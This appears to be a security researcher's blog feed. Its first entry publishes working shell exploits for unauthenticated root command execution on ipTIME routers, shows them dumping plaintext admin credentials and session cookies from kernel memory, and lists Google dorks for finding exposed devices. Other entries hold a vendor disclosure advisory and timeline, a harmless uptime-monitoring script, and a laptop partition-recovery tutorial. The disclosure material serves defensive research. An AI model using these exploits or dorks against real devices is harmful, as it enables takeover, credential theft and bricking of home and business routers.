<pre><code>g1 g104a g104be g104i g104m g501 i1601 ic416 ic426 in524 ip0526 ip300 ip409 ip410 ip416 ip418 ip419
ip422 ip449 ip802 ip803 n104 n104a n104i n104m n2 n3004 n5004 n504 n6004 n604 n604i n604m n7004
n704 n704m nx505 q1 q304 q504 t1004 t1008 t2008 tq204 tv104 tv108 tv116 tv124 x1005 x3003 x5007 z54g
</code></pre>
<p>By analysis updated firmwares, <a href="https://pierrekim.github.io/blog/2015-05-05-127-iptime-routers-wifiaps-modems-firewalls-models-vulnerable-with-RCE-with-root-privileges.html">in total 127 devices were affected</a>:</p>
<pre><code>a1004 a1004v a104 a104ns a104r a2004 a2004ns a2004r a2008 a3004 a3004ns a5004ns a604 a604v extac extd2
g1 g104 g104a g104be g104i g104m g204 g501 g504 ipsmart mini mobap1 multi n1 n104 n104a n104ar1 n104i
n104k n104ktt n104m n104p n104q n104r n104r3 n104rsk n104s n104sr1 n104t n104v n104vlg n1e n1eky n1p
n2 n2e n2p n3004 n5 n5004 n504 n5r1 n6004 n6004m n6004r n604 n604a n604i n604m n604p n604r n604s
n604t n604v n604vlg n608 n7004ns n702bcm n704 n704a n704a3 n704bcm n704lg n704m n704mlg n704ns
n704s n704v n704v3 n8004 n8004r n8004v n804 n804a n804a3 n804t n804t3 n804v n904 n904ns n904v
ng104 ng304 ntq104 ntv108 ntv116 ntv124 q1 q304 q504 q604 t1004 t1008 t16000 t2008 t24000 t3004
t3008 timeve tq204 tv104 v1016 v1024 v304 v308 v504 wre1 x3003 x3007 x5007 x6003
</code></pre>
<p>Here are the working exploits:</p>
<p><strong>Exploit against the firmwares in ALL versions from 2008 to 2015 - until 9.50 firmware:</strong></p>
<pre><code>$ cat iptime.carnage.l2
#!/bin/sh

if [ ! $1 ]; then
  echo "Usage:"
  echo $0 ip command
  exit 1
fi

wget -qO- --post-data="echo 'Content-type: text/plain

'; PATH=$PATH:/sbin $2 $3 $4" http://$1/cgi-bin/sh
$
</code></pre>
<p><strong>Exploit against firmware v9.52:</strong></p>
<pre><code>$ cat iptime.carnage.l2.v9.52 
#!/bin/sh

if [ ! $1 ]; then
  echo "Usage:"
  echo $0 ip command
  exit 1
fi

wget -qO- --post-data="echo 'Content-type: text/plain

'; PATH=$PATH:/sbin:/bin $2 $3 $4" http://$1/sess-bin/sh
$
</code></pre>
<p><a href="http://pierrekim.github.io/advisories/">The exploits have been written in HTML/JavaScript allowing people to test their systems in live using their browsers!</a></p>
<p>Now we test the exploits in my lab!</p>
<p><strong>How to retrieve the credentials ? (see login and password at the end of the text file)</strong></p>
<p><a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-dump.configuration.including.credentials.html">An online JavaScript POC is available here.</a> - <a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-dump.configuration.including.credentials.html">(exploit for version 9.52)</a></p>
<p><img alt="" src="images/2015-iptime-0x00-dump.configuration.png" /></p>
<p>Using CLI:</p>
<pre><code>kali# ./iptime.carnage.l2.v9.52 192.168.0.1 cat /tmp/etc/iconfig.cfg
wantype.wan1=dynamic
dhblock.eth1=0
ppp_mtu=1454
fakedns=0
upnp=1
ppp_mtu=1454
timeserver=time.windows.com,gmt23,1,540,0
wan_ifname=eth1
auto_dns=1
dhcp_auto_detect=0
wireless_ifmode+wlan0=wlan0,0
dhcpd=1
lan_ip=192.168.0.1
lan_netmask=255.255.255.0
dhcpd_conf=br0,192.168.0.2,192.168.0.254,192.168.0.1,255.255.255.0
dhcpd_dns=164.124.101.2,168.126.63.2
dhcpd_opt=7200,30,200,
dhcpd_configfile=/etc/udhcpd.conf
dhcpd_lease_file=/etc/udhcpd.leases
dhcpd_static_lease_file=/etc/udhcpd.static
http_auth=session
use_captcha=1
login=test
password=test
org_hwaddr.eth1=90:9F:XX:XX:XX
nat_passthrough=0
kali#
</code></pre>
<p>Login and password are stored in plaintext, which is a very bad security practice.</p>
<p><strong>Listing of the filesystem</strong></p>
<p><a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-listing.of.the.root.filesystem.html">An online JavaScript POC is available here.</a> - <a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-listing.of.the.root.filesystem.html">(exploit for version 9.52)</a></p>
<p><img alt="" src="images/2015-iptime-0x00-ls-latrR-root.png" /></p>
<p><strong>Current running process:</strong></p>
<p><a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-current.process.html">An online JavaScript POC is available here.</a> - <a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-current.process.html">(exploit for version 9.52)</a></p>
<p><img alt="" src="images/2015-iptime-0x00-ps.png" /></p>
<p>Using CLI:</p>
<pre><code>kali# ./iptime.carnage.l2.v9.52 192.168.0.1 ps -auxww
  PID  Uid     VmSize Stat Command
    1 root        720 S   init single 
    2 root            SW  [keventd]
    3 root            RWN [ksoftirqd_CPU0]
    4 root            SW  [kswapd]
    5 root            SW  [bdflush]
    6 root            SW  [kupdated]
    7 root            SW  [mtdblockd]
  252 root       1176 S   /sbin/dhcpd 
  270 root        436 S   apcpd 
  272 root        432 S   /sbin/iptables-q 
  299 root        372 S   /bin/wscd -start -c /var/wsc.conf -w wlan0 -fi /var/w
  303 root        260 S   /bin/iwcontrol wlan0 
  463 root        684 S   httpd 
  496 root        288 S   /bin/sh 
  498 root        300 R   ps -auxww 
kali#
</code></pre>
<p><strong>Getting the kernel memory:</strong></p>
<p><a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-getting.kernel.memory.html">An online POC is available here.</a> - <a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-getting.kernel.memory.html">(exploit for version 9.52)</a></p>
<p><img alt="" src="images/2015-iptime-0x00-dump.mem.png" /></p>
<p>Using CLI:</p>
<pre><code>./iptime.carnage.l2.v9.52 192.168.0.1 cat /proc/kcore
</code></pre>
<p>The device runs Linux 2.4.18, 12 year old Linux, full of CVEs (local AND <em>remote</em>):</p>
<pre><code>&lt;4&gt;Linux version 2.4.18-MIPS-01.00 (rtlwl@ski) (gcc version 3.4.6-1.3.6) #128 Tue Feb 10 10:57:17 KST 2015
&lt;4&gt;early printk enabled 
&lt;4&gt;Determined physical RAM map:
&lt;4&gt; memory: 01000000 @ 00000000 (usable)
&lt;4&gt;On node 0 totalpages: 4096
&lt;4&gt;zone(0): 4096 pages.
&lt;4&gt;zone(1): 0 pages.
&lt;4&gt;zone(2): 0 pages.
&lt;4&gt;Kernel command line: root=/dev/mtdblock1 console=0 single
&lt;4&gt;Calibrating delay loop... 399.76 BogoMIPS
&lt;4&gt;Memory: 9500k/16384k available (2310k kernel code, 6884k reserved, 416k data, 60k init, 0k highmem)
&lt;4&gt;Dentry-cache hash table entries: 2048 (order: 2, 16384 bytes)
&lt;4&gt;Inode-cache hash table entries: 1024 (order: 1, 8192 bytes)
&lt;4&gt;Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
&lt;4&gt;Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
&lt;4&gt;Page-cache hash table entries: 4096 (order: 2, 16384 bytes)
</code></pre>
<p><strong>Grabbing the valid HTTP authentication cookies:</strong></p>
<pre><code>kali# ./iptime.carnage.l2.v9.52 192.168.0.1 cat /proc/kcore | strings | grep Cookie

Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu
</code></pre>
<p><strong>Default firewall rules:</strong></p>
<p><a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-default.firewall.rules.html">An online JavaScript POC is available here.</a> - <a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-default.firewall.rules.html">(exploit for version 9.52)</a></p>
<p><img alt="" src="images/2015-iptime-0x00-iptables.png" /></p>
<p>Using CLI:</p>
<pre><code>kali# ./iptime.carnage.l2.v9.52 192.168.0.1 iptables -nL

Chain INPUT (policy DROP)
target     prot opt source               destination
DROP       47   --  0.0.0.0/0            0.0.0.0/0
DROP       tcp  --  0.0.0.0/0            0.0.0.0/0          tcp dpt:1723
radius2g   all  --  0.0.0.0/0            0.0.0.0/0
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0          tcp spt:25
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0          tcp dpt:80
ACCEPT     icmp --  0.0.0.0/0            0.0.0.0/0
ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0          udp dpts:67:68
ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0          udp spt:53
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0          tcp spt:80
ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0          udp spt:36500
ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0          udp dpts:33434:33600
ACCEPT     icmp --  192.168.0.1          192.168.0.1        icmp type 8

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination
TCPMSS     tcp  --  0.0.0.0/0            0.0.0.0/0          tcp flags:0x06/0x02 TCPMSS clamp to PMTU
app_filter  all  --  0.0.0.0/0            0.0.0.0/0
app_forward  all  --  0.0.0.0/0            0.0.0.0/0

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain app_filter (1 references)
target     prot opt source               destination

Chain app_forward (1 references)
target     prot opt source               destination

Chain ext_accesslist (0 references)
target     prot opt source               destination
DROP       tcp  --  0.0.0.0/0            0.0.0.0/0          tcp dpt:80

Chain int_accesslist (0 references)
target     prot opt source               destination
RETURN     all  --  0.0.0.0/0            192.168.255.250
RETURN     all  --  0.0.0.0/0            192.168.255.1
DROP       tcp  --  0.0.0.0/0            0.0.0.0/0          tcp dpt:80

Chain plantynet (0 references)
target     prot opt source               destination
plantynet_free  all  --  0.0.0.0/0            0.0.0.0/0
QUEUE      tcp  --  0.0.0.0/0            0.0.0.0/0          multiport dports 80,8080

Chain plantynet_free (1 references)
target     prot opt source               destination

Chain radius2g (1 references)
target     prot opt source               destination

Chain upnp (0 references)
target     prot opt source               destination
</code></pre>
<p><strong>Opening the management interface on the WAN:</strong></p>
<p><a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-opening.the.firewall.html">An online JavaScript POC is available here.</a> - <a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-opening.the.firewall.html">(exploit for version 9.52)</a></p>
<p><img alt="" src="images/2015-iptime-0x00-flushing.iptables.png" /></p>
<p><strong>Architecture:</strong></p>
<p><a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52.grabbing.cpu.info.html">An online JavaScript POC is available here.</a> - <a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52.grabbing.cpu.info.html">(exploit for version 9.52)</a></p>
<p><img alt="" src="images/2015-iptime-0x00-proc-cpuinfo.png" /></p>
<p>Using CLI:</p>
<pre><code>kali# ./iptime.carnage.l2.v9.52 192.168.0.1 cat /proc/cpuinfo

system type             : Philips Nino
processor               : 0
cpu model               : R3000 V0.0
BogoMIPS                : 399.76
wait instruction        : yes
microsecond timers      : no
tlb_entries             : 32
extra interrupt vector  : no
hardware watchpoint     : no
VCED exceptions         : not available
VCEI exceptions         : not available
ll emulations           : 0
sc emulations           : 0
</code></pre>
<p><strong>Reboot the device:</strong></p>
<p><a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-reboot.html">An JavaScript online POC is available here.</a> - <a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-reboot.html">(exploit for version 9.52)</a></p>
<p><img alt="" src="images/2015-iptime-0x00-reboot.png" /></p>
<p><strong>Brick the device:</strong></p>
<p><a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-bricking.the.device.html">An online POC is available here.</a> - <a href="http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-bricking.the.device.html">(exploit for version 9.52)</a></p>
<p><strong>By the way, d.cgi in /bin/ is an intentional backdoor from ipTIME.</strong></p>
<p>Uploading and executing a botnet client is left as an exercise to the reader.</p>
<p>More fun from iptime products is coming ~~~</p>
<p>Follow me on Twitter <a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>.</p>
<h2>Google Dork:</h2>
<pre><code>inurl:timepro.cgi
iptime.org ddns
inurl:iptime.org
</code></pre></content>
    </entry>
    
    <entry>
        <title>Small monitoring system using Freemobile</title>
        <link href="2015-06-23-small-monitoring-system-using-freemobile.html"/>
        <content type="html"><p>Hello,</p>
<p>In order to help a friend to monitor his webservices, I have written a small tool to check the availability of the different webservices.</p>
<p>The script is used with crontab and the <a href="https://mobile.free.fr/">Freemobile API</a> provides the possibility to send free SMS (free as a free beer). You can choose if you prefer SMS alerts, email alerts or both.
It checks the HTTP return code of the webpages : anything other than 200 will trigger the alert.</p>
<p>You have to edit:
  - ALERT_SMS_API
  - ALERT_EMAIL
  - LOGFILE
  - use_sms=y (by default, yes)
  - use_email=y (by default, yes)</p>
<pre><code>#!/bin/sh

# apt-get install screen curl mailutils

URL=$1

ALERT_SMS_API="https://smsapi.free-mobile.fr/sendmsg?user=USERID_FIXME&amp;pass=PASSWORD_FIXME&amp;msg="
ALERT_EMAIL="email@email0.com_FIXME email@email1.com_FIXME"
LOGFILE=/home/availability/alert.log

use_sms=y
use_email=y


umask 077

if [ ! $1 ]; then
  echo "usage $0 http://www.url.to/test"
  exit 1
fi

if [ ! -f "${LOGFILE}" ]; then
  touch "${LOGFILE}"
fi



alert() {
  current_date=$(date "+%Y-%m-%d %H:%m:%S")
  msg="${current_date} - ALERT on $1"

  echo "${msg} - alert()" &gt;&gt; ${LOGFILE}

  if [ ${use_sms} = "y" ]; then
    curl -sL -o /dev/null --insecure "${ALERT_SMS_API}${msg}"
    echo "${msg} - sms sent" &gt;&gt; ${LOGFILE}
  fi

  if [ ${use_email} = "y" ]; then
    for j in ${ALERT_EMAIL}
    do
      echo "${msg}" | mail -s "${msg}" ${j}
      echo "${msg} - email sent to ${j}" &gt;&gt; ${LOGFILE}
    done
  fi
}


curl 2&gt;/dev/null &gt;/dev/null
if [ $? -ne 2 ]; then
  alert "curl not found"
  exit
fi

output=$(curl -sL -w "%{http_code}\n" "$1" -o /dev/null --connect-timeout 5)

if [ $? -ne 0 ]; then
  alert ${URL}
  exit
fi

if [ "X${output}" != "X200" ]; then
  alert ${URL}
  exit
fi
</code></pre>
<p>The crontabs to check the webservices every 5 minutes are:</p>
<pre><code>*/5   *    *    *    *    /home/availability/alert-availability.sh http://domain.com/path/to/webservice0
*/5   *    *    *    *    /home/availability/alert-availability.sh http://domain.com/path/to/webservice1
*/5   *    *    *    *    /home/availability/alert-availability.sh http://domain.com/path/to/webservice2
*/5   *    *    *    *    /home/availability/alert-availability.sh http://domain.com/path/to/webservice3
</code></pre>
<p>This tool was tested on a Debian 7.6. So you need perhaps to run apt to install the necessary packages:</p>
<pre><code>apt-get install curl mailutils
</code></pre>
<p>You can see the past alerts as entries in the logfile:</p>
<pre><code>2015-05-01 13:10:02 - ALERT on http://www.XXX.XXX/status/XXXX - alert()
2015-05-01 13:10:02 - ALERT on http://www.XXX.XXX/status/XXXX - sms sent
2015-05-01 13:10:02 - ALERT on http://www.XXX.XXX/status/XXXX - email sent to email@email0.com_FIXME
2015-05-01 13:10:02 - ALERT on http://www.XXX.XXX/status/XXXX - email sent to email@email1.com_FIXME
</code></pre></content>
    </entry>
    
    <entry>
        <title>Recovering Windows on a "Windows-free" LG laptop</title>
        <link href="2015-06-09-recovering-windows-on-a-windows-free-lg-laptop.html"/>
        <content type="html"><p>Hello,</p>
<p>I just bought a new laptop, a <a href="http://search.daum.net/search?q=LG+13ZD950">LG 13ZD950</a>. This laptop can be purchased without Windows in South Korea (like a lot of new laptops in South Korea).</p>
<p>The "Windows-free" version doesn't boot on a system by default: you have to install your own OS.</p>
<p>Before installing Linux, I analyzed the internal SSD: even if the laptop is "Windows-free", Windows seems to be present but the laptop doesn't boot.</p>
<p>By default, you can only see a 10GB NTFS partition (/dev/sda1) called "DnA" containing 3GB of Windows drivers.</p>
<p>I will explain now how to recover a full Windows 8.1 factory copy available in the SSD.</p>
<p><strong>The laptop is brand new. According to S.M.A.R.T, the SSD is new too.</strong></p>
<p>Boot with <a href="https://www.kali.org/">Kali Linux</a> then use <strong>testdisk</strong> (from <a href="http://www.cgsecurity.org/">photorec</a>):</p>
<pre><code>kali% sudo testdisk /dev/sda
</code></pre>
<p><img alt="" src="images/lg-windows-testdisk-001.png" /></p>
<p>Use Intel/PC partition and Analyse the hard disk:</p>
<p><img alt="" src="images/lg-windows-testdisk-002.png" /></p>
<p>You will see the 10GB NTFS partition, called "DnA" containing 3GB of Windows drivers.</p>
<p><img alt="" src="images/lg-windows-testdisk-003.png" /></p>
<p>The Quick Search option discovered 2 new partitions:</p>
<p><img alt="" src="images/lg-windows-testdisk-004.png" /></p>
<p>The "Windows" partition contains a fully bootable Windows 8.1 system.</p>
<p>The "ICPE" partition is a rescue partition allowing the reinstallation of Windows 8.1 from scratch.</p>
<p>Now confirm the Windows partition as a bootable partition:</p>
<p><img alt="" src="images/lg-windows-testdisk-005.png" /></p>
<p>Reboot now!</p>
<p>The Windows initialization system will ask the user name, the computer name and the default preferred color. After this, you have now a fully working Windows 8.1 system with a "Windows-free" LG laptop. Enjoy!</p>
<p>Hello Windows 8.1:</p>
<p><img alt="" src="images/lg-windows-8.1.png" /></p></content>
    </entry>
    
    <entry>
        <title>ERRATA - 127 ipTIME Routers/WiFi APs/Modems/Firewalls models vulnerable with RCE with root privileges</title>
        <link href="2015-05-05-127-iptime-routers-wifiaps-modems-firewalls-models-vulnerable-with-RCE-with-root-privileges.html"/>
        <content type="html"><p><a href="http://iptime.com/iptime/?uid=16202&amp;mod=document&amp;page_id=16">ipTIME's statement about 112 vulnerable devices</a> seems to be incorrect, so the precedent advisory was incorrect.</p>
<p>By analysis the new firmwares, there are 127 ipTIME vulnerable devices:</p>
<pre><code>ipTIME a1004
ipTIME a1004v
ipTIME a104
ipTIME a104ns
ipTIME a104r
ipTIME a2004
ipTIME a2004ns
ipTIME a2004r
ipTIME a2008
ipTIME a3004
ipTIME a3004ns
ipTIME a5004ns
ipTIME a604
ipTIME a604v
ipTIME extac
ipTIME extd2
ipTIME g1
ipTIME g104
ipTIME g104a
ipTIME g104be
ipTIME g104i
ipTIME g104m
ipTIME g204
ipTIME g501
ipTIME g504
ipTIME ipsmart
ipTIME mini
ipTIME mobap1
ipTIME multi
ipTIME n1
ipTIME n104
ipTIME n104a
ipTIME n104ar1
ipTIME n104i
ipTIME n104k
ipTIME n104ktt
ipTIME n104m
ipTIME n104p
ipTIME n104q
ipTIME n104r
ipTIME n104r3
ipTIME n104rsk
ipTIME n104s
ipTIME n104sr1
ipTIME n104t
ipTIME n104v
ipTIME n104vlg
ipTIME n1e
ipTIME n1eky
ipTIME n1p
ipTIME n2
ipTIME n2e
ipTIME n2p
ipTIME n3004
ipTIME n5
ipTIME n5004
ipTIME n504
ipTIME n5r1
ipTIME n6004
ipTIME n6004m
ipTIME n6004r
ipTIME n604
ipTIME n604a
ipTIME n604i
ipTIME n604m
ipTIME n604p
ipTIME n604r
ipTIME n604s
ipTIME n604t
ipTIME n604v
ipTIME n604vlg
ipTIME n608
ipTIME n7004ns
ipTIME n702bcm
ipTIME n704
ipTIME n704a
ipTIME n704a3
ipTIME n704bcm
ipTIME n704lg
ipTIME n704m
ipTIME n704mlg
ipTIME n704ns
ipTIME n704s
ipTIME n704v
ipTIME n704v3
ipTIME n8004
ipTIME n8004r
ipTIME n8004v
ipTIME n804
ipTIME n804a
ipTIME n804a3
ipTIME n804t
ipTIME n804t3
ipTIME n804v
ipTIME n904
ipTIME n904ns
ipTIME n904v
ipTIME ng104
ipTIME ng304
ipTIME ntq104
ipTIME ntv108
ipTIME ntv116
ipTIME ntv124
ipTIME q1
ipTIME q304
ipTIME q504
ipTIME q604
ipTIME t1004
ipTIME t1008
ipTIME t16000
ipTIME t2008
ipTIME t24000
ipTIME t3004
ipTIME t3008
ipTIME timeve
ipTIME tq204
ipTIME tv104
ipTIME v1016
ipTIME v1024
ipTIME v304
ipTIME v308
ipTIME v504
ipTIME wre1
ipTIME x3003
ipTIME x3007
ipTIME x5007
ipTIME x6003
</code></pre>
<p>You can download firmwares here: <a href="http://download.iptime.com/download/router/">http://download.iptime.com/download/router/</a></p></content>
    </entry>
    
    <entry>
        <title>112 ipTIME Routers/WiFi APs/Modems/Firewalls models vulnerable with RCE with root privileges</title>
        <link href="2015-04-20-112-iptime-routers-wifiaps-modems-firewalls-models-vulnerable-with-RCE-with-root-privileges.html"/>
        <content type="html"><pre><code> -----BEGIN PGP SIGNED MESSAGE-----
 Hash: SHA512

 ## Advisory Information

 Title: 112 ipTIME Routers/WiFi APs/Modems/Firewalls models vulnerable with RCE with root privileges
 Advisory URL: https://pierrekim.github.io/advisories/2015-iptime-0x00.txt.asc
 Date published: 2015-04-17
 Vendors contacted: KrCERT, ipTIME
 Release mode: Released
 CVE: no current CVE



 ## Product Description

 EFMNetworks ipTIME is the largest Korean brand of SOHO/small/middle entreprise Routers/WiFi APs/Modems/Firewalls in South Korea
 with millions of devices deployed in the country. EFMNetworks ipTIME is occupying more than 60 percent of personal network devices.
 There are =~ 10 000 000 of ipTIME devices deployed in South Korea.



 ## Vulnerability Summary

 This vulnerability allows to bypass the admin authentication and to get a direct RCE as root from the LAN side with a single HTTP request.

 This is a direct RCE against the Routers/WiFi APs/Modems/Firewalls which gives a complete root access to the embedded Linux from the LAN side.
 The exploit doesn't work by default from the WAN (no HTTP or UPNP access from the WAN by default unless activated).
 If enabled on the WAN, the remote admin interface exposes the devices to this vulnerability.

 It affects 112 ipTIME products from 2009-era firmwares to the 9.52 firmware (built time 2015-03-23)) with the default configuration:


 - ipTIME A5004NS
 - ipTIME A3004NS
 - ipTIME A3004
 - ipTIME A2004NS
 - ipTIME A2004NSplus
 - ipTIME A2004
 - ipTIME A2004plus
 - ipTIME A2008
 - ipTIME A1004
 - ipTIME A1004V
 - ipTIME A104
 - ipTIME A104NS
 - ipTIME N6004R
 - ipTIME N8004R
 - ipTIME N8004V
 - ipTIME N8004
 - ipTIME N804A3
 - ipTIME N804T3
 - ipTIME N904
 - ipTIME N904plus
 - ipTIME N904V
 - ipTIME N904Vplus
 - ipTIME N704V3
 - ipTIME N704BCM
 - ipTIME N704A3
 - ipTIME N604S
 - ipTIME N604A
 - ipTIME N104S-r1
 - ipTIME Smart
 - ipTIME N904NS
 - ipTIME N704NS
 - ipTIME N604T
 - ipTIME N604Tplus
 - ipTIME N7004NS
 - ipTIME N104V
 - ipTIME N604V
 - ipTIME N604Vplus
 - ipTIME N604R
 - ipTIME N604Rplus
 - ipTIME N604plus
 - ipTIME N104R
 - ipTIME N104Q
 - ipTIME N104plus
 - ipTIME N104K
 - ipTIME N5
 - ipTIME N2plus
 - ipTIME N1plus
 - ipTIME N1E
 - ipTIME N804V
 - ipTIME N804T
 - ipTIME N804A
 - ipTIME N804
 - ipTIME N2E
 - ipTIME N2Eplus
 - ipTIME N104A
 - ipTIME N104S
 - ipTIME N104i
 - ipTIME N1
 - ipTIME N104
 - ipTIME N104M
 - ipTIME N504
 - ipTIME N604i
 - ipTIME N604M
 - ipTIME N608
 - ipTIME N704
 - ipTIME N704A
 - ipTIME N704M
 - ipTIME N704S
 - ipTIME N704V
 - ipTIME N3004
 - ipTIME N5004
 - ipTIME N6004
 - ipTIME N6004M
 - ipTIME N104T
 - ipTIME N5-r1
 - ipTIME N104-r3
 - ipTIME WR-E1
 - ipTIME Mini
 - ipTIME MobileAP1
 - ipTIME Multi
 - ipTIME Extender2
 - ipTIME G1
 - ipTIME G104
 - ipTIME G104BE
 - ipTIME G104M
 - ipTIME G204
 - ipTIME G304
 - ipTIME G504
 - ipTIME G504
 - ipTIME G104i
 - ipTIME G104A
 - ipTIME Q604
 - ipTIME V304
 - ipTIME T3004
 - ipTIME T3008
 - ipTIME T16000
 - ipTIME T24000
 - ipTIME Q1
 - ipTIME Q104
 - ipTIME Q204
 - ipTIME Q304
 - ipTIME Q504
 - ipTIME V104
 - ipTIME V108
 - ipTIME V308
 - ipTIME V116
 - ipTIME V124
 - ipTIME V1024
 - ipTIME V1016
 - ipTIME T1004
 - ipTIME T1008
 - ipTIME X3003
 - ipTIME X3007
 - ipTIME X5007
 - ipTIME X6003


 Concerning the high CVSS score (10/10) of the vulnerability, the number of affected devices and the longevity of this vulnerability (6+ year old), we urge users to apply the new 9.58 firmware.



 ## Details

 The HTTP server allows the attacker to execute some CGI files.

 Many of them are vulnerable to a command inclusion which allows to execute commands with the http daemon user rights (root).


 root@kali:~/iptime# ./iptime.carnage 192.168.0.1 cat /var/run/hwinfo
 company_name=EFM Networks
 product_name=ipTIME N604V
 url=www.iptime.co.kr
 max_vlan=5
 mirror_port=1
 num_lan_port=4
 lan_port_swap=1
 max_port=5
 wan_port=5
 firmup_duration=100
 reboot_duration=40
 max_wds=4
 max_macauth=32
 wireless_ifname=eth0
 wan_ifname=eth2.2
 local_ifname=br0
 br0_port=eth2.1,eth0
 port_diag=1
 flash_diag_dev=/dev/mtd
 bootloader_size=0x10000
 max_firmware_size=0x200000
 save_flash_offset=0x10000
 save_flash_size=0x10000
 flash_sector_size=0x10000
 max_syslog=400
 ip_conntrack_max=8192
 udp_conntrack_max=4096
 icmp_conntrack_max=1024
 auth_server=auth2.efm-net.com
 wan_ifidx=5
 language=kr
 product_alias=n604v
 root@kali:~/iptime# ./iptime.carnage 192.168.0.1 cat /home/http/build_date
 Mon Mar 23 14:54:50 KST 2015
 root@kali:~/iptime#


 Considering the huge potential impact against the South Korea networks, we are not currently planning to release working exploits.



 The exploits will be posted on my blog located at https://pierrekim.github.io/blog/


 ## Vendor Response

 The vendor has released a new firmware version (9.58) for 112 devices:

 http://iptime.com/iptime/?uid=16202&amp;mod=document&amp;page_id=16



 ## Report Timeline

 * Jun 01, 2014: Vulnerability found by Pierre Kim and Alexandre Torres.
 * Mar 24, 2015: Vulnerability confirmed on all the existing versions from 2009 to 2015 including the last firmware version.
 * Apr 07, 2015: KRCERT is notified of the vulnerability using the FIRST dedicated email.
 * Apr 08, 2015: Pierre Kim tries to contact KRCERT using http://eng.krcert.or.kr/contactus/contact.jsp : this form doesn't work (nor &lt;form&gt;, nor JS for form-submission).
 * Apr 08, 2015: Vendor is contacted (security@iptime.com) to provide a valid GPG key.
 * Apr 08, 2015: Email sent to security@iptime.com is bounced.
 * Apr 08, 2015: Vendor is contacted (support@iptime.com) for a GPG key.
 * Apr 09, 2015: KRCERT is contacted (cert@krcert.or.kr - support email) for a GPG key.
 * Apr 09, 2015: vuln@krcert.or.kr is contacted.
 * Apr 09, 2015: KISA is contacted for a GPG key at http://www.kisa.or.kr/eng/contactUs/contactUs.jsp:  400 Bad Request or alert box saying the message was malformed.
 * Apr 09, 2015: KISA is contacted using Twitter (https://twitter.com/PierreKimSec/status/585986016294674433).
 * Apr 09, 2015: FIRST KRCERT answered asking for information about the vulnerabilites and agreed to contact ipTIME to develop a security patch as soon as possible.
 * Apr 09, 2015: 2 POCs are sent to FIRST KRCERT by email.
 * Apr 13, 2015: FIRST KRCERT confirms the POCs work and said they can't assign CVE. They ask a 90 days disclosure policy to allow ipTIME to work on this issue and asks if we can disclose the vulnerabilities details after a patch is released.
 * Apr 13, 2015: MITRE is contacted asking for a CVE number.
 * Apr 13, 2015: FIRST KRCERT is contacted : we agree on the 90 days vulnerability disclosure policy. We ask which models are vulnerable.
 * Apr 14, 2015: vuln@krcert.or.kr replies with one vulnerable model. The vulnerability information is sent to ipTIME and we have to use vuln@krcert.or.kr as a contact address now.
 * Apr 15, 2015: vuln@krcert.or.kr is contacted for a GPG key concerning other vulnerabilities found in ipTIME products.
 * Apr 16, 2015: Vendor releases 112 new firmwares.
 * Apr 16, 2015: vuln@krcert.or.kr is contacted to know if this new firmware fixes the vulnerabilities we reported. The vendor advisory specifies only "User Interface-related security" in Korean (thank you Google Translate).
 * Apr 16, 2015: From our tests, the vulnerabilities have been fixed.
 * Apr 17, 2015: A public advisory is sent to security mailing lists.



 ## Credit

 This vulnerability was found by Alexandre Torres and Pierre Kim (@PierreKimSec).



 ## Greetings

 Big thanks to my friend working at YongSan, specialized in server hardware and alcohol, which gave me for free an ipTIME X3003 which resulted this complete pownage.



 ## References

 http://iptime.com/iptime/?uid=16202&amp;mod=document&amp;page_id=16
 https://pierrekim.github.io/advisories/2015-iptime-0x00.txt.asc



 ## Disclaimer

 This advisory is licensed under a Creative Commons Attribution Non-Commercial
 Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/




 -----BEGIN PGP SIGNATURE-----
 Version: GnuPG v1

 iQIcBAEBCgAGBQJVMHSPAAoJEMQ+Dtp9ky28/5gP/3xaajDhO5Y/u8PkegkGJ4bZ
